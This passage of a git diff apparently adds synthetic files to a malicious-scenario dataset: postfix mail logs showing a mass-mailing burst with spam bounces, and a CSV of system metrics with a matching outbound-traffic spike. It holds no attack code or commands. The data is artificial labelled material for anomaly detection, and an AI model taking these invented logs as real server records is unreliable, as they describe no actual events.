relay=fake-email.com[10.0.0.4]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host test-domain.io said: 554 5.7.1 Message rejected under suspicion of SPAM) +Aug 26 10:05:49 mail-server postfix/smtp[18747]: A3B4C12345: to=, relay=192.168.227.204[192.168.227.204]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:05:50 mail-server postfix/smtp[17908]: D4E5F67890: to=, relay=example.com[10.0.0.3]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host fake-email.com said: 550 5.7.1 Service unavailable; client [1.2.3.4] blocked) +Aug 26 10:05:51 mail-server postfix/smtp[11889]: A3B4C12345: to=, relay=192.168.251.69[192.168.251.69]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:05:52 mail-server postfix/smtp[10224]: A3B4C12345: to=, relay=192.168.121.204[192.168.121.204]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:05:54 mail-server postfix/smtp[16522]: A3B4C12345: to=, relay=192.168.248.241[192.168.248.241]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:05:55 mail-server postfix/smtp[19585]: A3B4C12345: to=, relay=192.168.125.120[192.168.125.120]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:05:56 mail-server postfix/smtp[11763]: A3B4C12345: to=, relay=192.168.171.75[192.168.171.75]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:05:56 mail-server postfix/smtp[17155]: D4E5F67890: to=, relay=webhost.org[10.0.0.2]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host mailservice.net said: 550 5.7.1 Service unavailable; client [1.2.3.4] blocked) +Aug 26 10:05:57 mail-server postfix/smtp[15260]: A3B4C12345: to=, relay=192.168.10.93[192.168.10.93]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:06:00 mail-server systemd[749]: Starting daily clean up activities... +Aug 26 10:06:01 mail-server postfix/smtp[18822]: A3B4C12345: to=, relay=192.168.193.138[192.168.193.138]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:06:01 mail-server postfix/smtp[19400]: D4E5F67890: to=, relay=mailservice.net[10.0.0.3]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host fake-email.com said: 554 5.7.1 Message rejected under suspicion of SPAM) +Aug 26 10:06:04 mail-server postfix/smtp[11801]: A3B4C12345: to=, relay=192.168.1.162[192.168.1.162]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:06:06 mail-server postfix/smtp[17075]: D4E5F67890: to=, relay=fake-email.com[10.0.0.4]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host test-domain.io said: 554 5.7.1 Message rejected under suspicion of SPAM) +Aug 26 10:06:07 mail-server postfix/smtp[14580]: A3B4C12345: to=, relay=192.168.113.65[192.168.113.65]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:06:07 mail-server postfix/smtp[19458]: A3B4C12345: to=, relay=192.168.24.18[192.168.24.18]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:06:08 mail-server postfix/smtp[10087]: A3B4C12345: to=, relay=192.168.25.222[192.168.25.222]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:06:09 mail-server postfix/smtp[10076]: A3B4C12345: to=, relay=192.168.80.215[192.168.80.215]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:06:09 mail-server postfix/smtp[18812]: A3B4C12345: to=, relay=192.168.164.6[192.168.164.6]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:06:12 mail-server postfix/smtp[17249]: A3B4C12345: to=, relay=192.168.15.205[192.168.15.205]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:06:14 mail-server postfix/smtp[17447]: A3B4C12345: to=, relay=192.168.102.73[192.168.102.73]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:06:14 mail-server postfix/smtp[17630]: A3B4C12345: to=, relay=192.168.124.135[192.168.124.135]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:06:14 mail-server postfix/smtp[18508]: A3B4C12345: to=, relay=192.168.92.191[192.168.92.191]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:06:15 mail-server postfix/smtp[13784]: A3B4C12345: to=, relay=192.168.21.143[192.168.21.143]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:06:15 mail-server postfix/smtp[16849]: A3B4C12345: to=, relay=192.168.12.230[192.168.12.230]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:06:16 mail-server postfix/smtp[11417]: A3B4C12345: to=, relay=192.168.128.214[192.168.128.214]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:06:17 mail-server postfix/smtp[10757]: D4E5F67890: to=, relay=fake-email.com[10.0.0.1]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host test-domain.io said: 450 4.2.1 The user you are trying to contact is receiving mail at a rate that prevents additional messages from being delivered) +Aug 26 10:06:17 mail-server postfix/smtp[14465]: A3B4C12345: to=, relay=192.168.143.144[192.168.143.144]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:06:17 mail-server postfix/smtp[16365]: A3B4C12345: to=, relay=192.168.120.148[192.168.120.148]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:06:17 mail-server postfix/smtp[16368]: D4E5F67890: to=, relay=webhost.org[10.0.0.4]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host webhost.org said: 554 5.7.1 Message rejected under suspicion of SPAM) +Aug 26 10:06:21 mail-server postfix/smtp[11809]: A3B4C12345: to=, relay=192.168.137.189[192.168.137.189]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:06:21 mail-server postfix/smtp[15121]: D4E5F67890: to=, relay=mailservice.net[10.0.0.3]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host test-domain.io said: 550 5.1.1 User unknown) +Aug 26 10:06:21 mail-server postfix/smtp[19730]: A3B4C12345: to=, relay=192.168.250.53[192.168.250.53]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:06:22 mail-server postfix/smtp[14614]: A3B4C12345: to=, relay=192.168.137.197[192.168.137.197]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:06:23 mail-server postfix/smtp[14999]: A3B4C12345: to=, relay=192.168.71.150[192.168.71.150]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:06:23 mail-server postfix/smtp[18770]: A3B4C12345: to=, relay=192.168.200.175[192.168.200.175]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:06:26 mail-server postfix/smtp[10008]: D4E5F67890: to=, relay=webhost.org[10.0.0.3]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host mailservice.net said: 554 5.7.1 Message rejected under suspicion of SPAM) +Aug 26 10:06:26 mail-server postfix/smtp[11312]: A3B4C12345: to=, relay=192.168.98.92[192.168.98.92]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:06:26 mail-server postfix/smtp[13991]: A3B4C12345: to=, relay=192.168.49.205[192.168.49.205]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:06:27 mail-server postfix/smtp[18882]: D4E5F67890: to=, relay=fake-email.com[10.0.0.2]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host example.com said: 550 5.7.1 Service unavailable; client [1.2.3.4] blocked) +Aug 26 10:06:28 mail-server postfix/smtp[10018]: A3B4C12345: to=, relay=192.168.1.67[192.168.1.67]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:06:28 mail-server postfix/smtp[12856]: D4E5F67890: to=, relay=webhost.org[10.0.0.3]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host example.com said: 450 4.2.1 The user you are trying to contact is receiving mail at a rate that prevents additional messages from being delivered) +Aug 26 10:06:28 mail-server postfix/smtp[14809]: D4E5F67890: to=, relay=example.com[10.0.0.4]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host test-domain.io said: 550 5.1.1 User unknown) +Aug 26 10:06:40 mail-server postfix/smtp[19099]: 1A2B3C4D5E: to=, relay=smtp.mycompany.com[172.16.0.5]:587, delay=0.5, status=sent (250 2.0.0 OK) diff --git a/mali_dataset/scenario_5/mali_5_23.csv b/mali_dataset/scenario_5/mali_5_23.csv new file mode 100644 index 0000000000000000000000000000000000000000..ece3c15d30122e4cdfe30d02ae6461fb33c01030 --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_23.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T11:00:00Z,12.21,40.33,23.05,1.04,0.91 +2025-07-02T11:00:05Z,13.02,40.42,30.59,0.9,1.05 +2025-07-02T11:00:10Z,12.74,37.86,17.37,1.17,0.71 +2025-07-02T11:00:15Z,12.69,41.85,16.31,0.75,0.99 +2025-07-02T11:00:20Z,15.4,40.57,12.39,0.91,1.01 +2025-07-02T11:00:25Z,12.61,41.13,32.44,0.78,0.92 +2025-07-02T11:00:30Z,21.4,41.11,29.98,0.76,1.16 +2025-07-02T11:00:35Z,4.73,45.02,24.82,1.05,0.86 +2025-07-02T11:00:40Z,15.99,39.9,25.86,1.02,1.0 +2025-07-02T11:00:45Z,4.59,38.99,29.81,0.97,1.2 +2025-07-02T11:00:50Z,19.93,40.13,27.59,1.07,1.07 +2025-07-02T11:00:55Z,22.32,38.4,27.66,1.29,1.02 +2025-07-02T11:01:00Z,23.22,41.67,23.81,1.07,0.93 +2025-07-02T11:01:05Z,19.79,42.08,24.37,0.56,0.72 +2025-07-02T11:01:10Z,17.91,39.74,31.34,0.8,1.09 +2025-07-02T11:01:15Z,12.03,38.58,23.06,0.65,1.02 +2025-07-02T11:01:20Z,11.48,39.02,20.91,1.22,0.69 +2025-07-02T11:01:25Z,23.82,42.0,21.57,1.08,0.91 +2025-07-02T11:01:30Z,19.05,39.79,28.27,0.94,1.38 +2025-07-02T11:01:35Z,17.41,36.4,17.75,1.08,1.04 +2025-07-02T11:01:40Z,51.92,39.48,21.66,4.95,57.66 +2025-07-02T11:01:45Z,68.09,37.25,28.54,7.3,73.84 +2025-07-02T11:01:50Z,48.8,40.53,21.7,6.07,85.9 +2025-07-02T11:01:55Z,37.18,43.26,36.12,5.33,70.44 +2025-07-02T11:02:00Z,40.33,38.55,27.13,8.09,69.93 +2025-07-02T11:02:05Z,40.53,40.38,27.07,9.14,103.39 +2025-07-02T11:02:10Z,35.07,40.13,25.94,7.67,73.6 +2025-07-02T11:02:15Z,43.27,40.0,24.21,3.28,81.34 +2025-07-02T11:02:20Z,37.12,40.6,20.36,5.58,84.17 +2025-07-02T11:02:25Z,48.54,40.95,25.47,4.57,77.54 +2025-07-02T11:02:30Z,33.78,36.98,25.76,5.64,110.73 +2025-07-02T11:02:35Z,46.87,40.4,23.13,5.64,86.95 +2025-07-02T11:02:40Z,38.52,42.8,36.44,5.8,112.87 +2025-07-02T11:02:45Z,53.01,40.62,21.45,6.19,75.08 +2025-07-02T11:02:50Z,38.06,39.61,24.09,4.11,62.82 +2025-07-02T11:02:55Z,38.79,39.82,21.46,5.29,35.77 +2025-07-02T11:03:00Z,44.18,38.46,25.59,5.88,84.51 +2025-07-02T11:03:05Z,60.09,37.61,33.94,4.15,71.27 +2025-07-02T11:03:10Z,44.7,41.64,24.4,5.75,93.21 +2025-07-02T11:03:15Z,45.84,40.51,29.81,7.47,80.56 +2025-07-02T11:03:20Z,43.61,40.92,27.39,7.26,74.64 +2025-07-02T11:03:25Z,35.77,38.9,32.35,6.04,100.67 +2025-07-02T11:03:30Z,58.58,36.65,35.21,6.27,90.3 +2025-07-02T11:03:35Z,42.02,42.31,28.36,6.32,90.63 +2025-07-02T11:03:40Z,60.35,39.58,16.05,5.65,58.17 +2025-07-02T11:03:45Z,39.74,37.37,18.88,8.32,65.99 +2025-07-02T11:03:50Z,45.68,37.29,21.72,6.75,78.3 +2025-07-02T11:03:55Z,54.73,40.0,21.5,7.12,74.63 +2025-07-02T11:04:00Z,32.08,43.47,27.3,8.37,89.61 +2025-07-02T11:04:05Z,29.94,40.52,23.61,6.18,116.02 +2025-07-02T11:04:10Z,37.39,39.66,18.17,7.33,69.89 +2025-07-02T11:04:15Z,55.98,40.53,23.59,8.02,87.43 +2025-07-02T11:04:20Z,58.24,40.78,27.58,4.08,84.52 +2025-07-02T11:04:25Z,39.11,43.84,18.03,5.02,94.93 +2025-07-02T11:04:30Z,47.27,42.37,22.95,6.83,77.87 +2025-07-02T11:04:35Z,43.47,42.68,26.03,5.09,101.21 +2025-07-02T11:04:40Z,51.92,41.11,16.81,7.15,89.04 +2025-07-02T11:04:45Z,49.1,38.96,28.41,6.84,96.54 +2025-07-02T11:04:50Z,59.54,40.74,23.31,6.14,59.34 +2025-07-02T11:04:55Z,45.48,40.28,22.38,6.35,86.21 +2025-07-02T11:05:00Z,45.53,38.98,22.83,6.47,75.03 +2025-07-02T11:05:05Z,57.12,40.45,26.18,5.45,86.72 +2025-07-02T11:05:10Z,46.35,40.85,27.72,6.21,62.69 +2025-07-02T11:05:15Z,27.92,42.57,18.92,6.11,56.16 +2025-07-02T11:05:20Z,67.79,38.88,17.16,5.79,78.84 +2025-07-02T11:05:25Z,47.96,37.99,24.68,5.39,72.13 +2025-07-02T11:05:30Z,41.99,39.74,27.85,7.62,91.27 +2025-07-02T11:05:35Z,62.93,40.94,26.03,6.75,47.11 +2025-07-02T11:05:40Z,52.17,36.51,31.03,5.48,83.59 +2025-07-02T11:05:45Z,65.5,36.58,19.63,7.74,66.85 +2025-07-02T11:05:50Z,38.93,41.3,19.2,7.54,66.63 +2025-07-02T11:05:55Z,37.56,43.04,31.33,7.62,95.0 +2025-07-02T11:06:00Z,53.95,37.57,17.54,5.64,68.17 +2025-07-02T11:06:05Z,42.6,38.57,27.14,6.86,56.1 +2025-07-02T11:06:10Z,44.83,41.32,25.1,6.38,70.79 +2025-07-02T11:06:15Z,60.12,43.16,24.64,3.5,66.3 +2025-07-02T11:06:20Z,36.2,41.2,24.85,7.06,69.55 +2025-07-02T11:06:25Z,46.02,40.74,22.43,7.16,88.58 +2025-07-02T11:06:30Z,34.67,40.77,23.13,6.24,62.9 +2025-07-02T11:06:35Z,60.37,42.19,26.48,4.83,60.51 +2025-07-02T11:06:40Z,21.25,40.26,28.64,1.24,1.19 +2025-07-02T11:06:45Z,13.82,42.32,27.19,1.03,0.55 +2025-07-02T11:06:50Z,17.13,40.48,24.09,1.11,0.88 +2025-07-02T11:06:55Z,7.83,37.69,29.31,0.81,0.87 +2025-07-02T11:07:00Z,14.4,37.49,26.95,1.05,1.28 +2025-07-02T11:07:05Z,10.94,39.79,25.45,0.77,1.26 +2025-07-02T11:07:10Z,11.81,44.19,27.34,0.83,1.51 +2025-07-02T11:07:15Z,17.12,35.14,23.1,1.0,0.87 +2025-07-02T11:07:20Z,13.69,38.07,25.09,1.02,0.88 +2025-07-02T11:07:25Z,14.61,35.92,21.03,1.24,1.26 diff --git a/mali_dataset/scenario_5/mali_5_23.log b/mali_dataset/scenario_5/mali_5_23.log new file mode 100644 index 0000000000000000000000000000000000000000..bfd50a2e36cb269f7e988600f029a277c73fd580 --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_23.log @@ -0,0 +1,705 @@ +Jul 02 11:00:00 mail-server web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 11:00:50 mail-server web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 11:01:40 mail-server postfix/smtp[10458]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:40 mail-server postfix/smtp[11540]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:40 mail-server postfix/smtp[13025]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:40 mail-server postfix/smtp[15085]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:40 mail-server postfix/smtp[17588]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:40 mail-server postfix/smtp[17588]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:40 mail-server postfix/smtp[17713]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:40 mail-server postfix/smtp[17799]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:40 mail-server postfix/smtp[18157]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:40 mail-server postfix/smtp[18306]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:40 mail-server postfix/smtp[18918]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:40 mail-server systemd[1]: Starting daily clean up activities... +Jul 02 11:01:45 mail-server postfix/smtp[10844]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:45 mail-server postfix/smtp[10955]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:45 mail-server postfix/smtp[11385]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:45 mail-server postfix/smtp[13643]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:45 mail-server postfix/smtp[14603]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:45 mail-server postfix/smtp[15705]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:45 mail-server postfix/smtp[16258]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:45 mail-server postfix/smtp[16408]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:45 mail-server postfix/smtp[16674]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:45 mail-server postfix/smtp[17168]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:45 mail-server postfix/smtp[18040]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:45 mail-server postfix/smtp[18944]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:45 mail-server postfix/smtp[19824]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:50 mail-server postfix/smtp[10271]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:50 mail-server postfix/smtp[11735]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:50 mail-server postfix/smtp[12299]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:50 mail-server postfix/smtp[12569]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:50 mail-server postfix/smtp[13163]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:50 mail-server postfix/smtp[13666]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:50 mail-server postfix/smtp[13693]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:50 mail-server postfix/smtp[15218]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:50 mail-server postfix/smtp[15446]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:50 mail-server postfix/smtp[17688]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:50 mail-server postfix/smtp[18600]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:50 mail-server postfix/smtp[18700]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:50 mail-server postfix/smtp[18994]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:55 mail-server postfix/smtp[11670]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:55 mail-server postfix/smtp[12508]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:55 mail-server postfix/smtp[13379]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:55 mail-server postfix/smtp[15674]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:55 mail-server postfix/smtp[18450]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:01:55 mail-server postfix/smtp[19259]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:00 mail-server postfix/smtp[10295]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:00 mail-server postfix/smtp[12910]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:00 mail-server postfix/smtp[13876]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:00 mail-server postfix/smtp[14250]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:00 mail-server postfix/smtp[14738]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:05 mail-server postfix/smtp[10047]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:05 mail-server postfix/smtp[10813]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:05 mail-server postfix/smtp[12816]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:05 mail-server postfix/smtp[13645]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:05 mail-server postfix/smtp[14506]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:05 mail-server postfix/smtp[14557]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:05 mail-server postfix/smtp[15545]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:05 mail-server postfix/smtp[15883]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:02:05 mail-server postfix/smtp[16628]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) 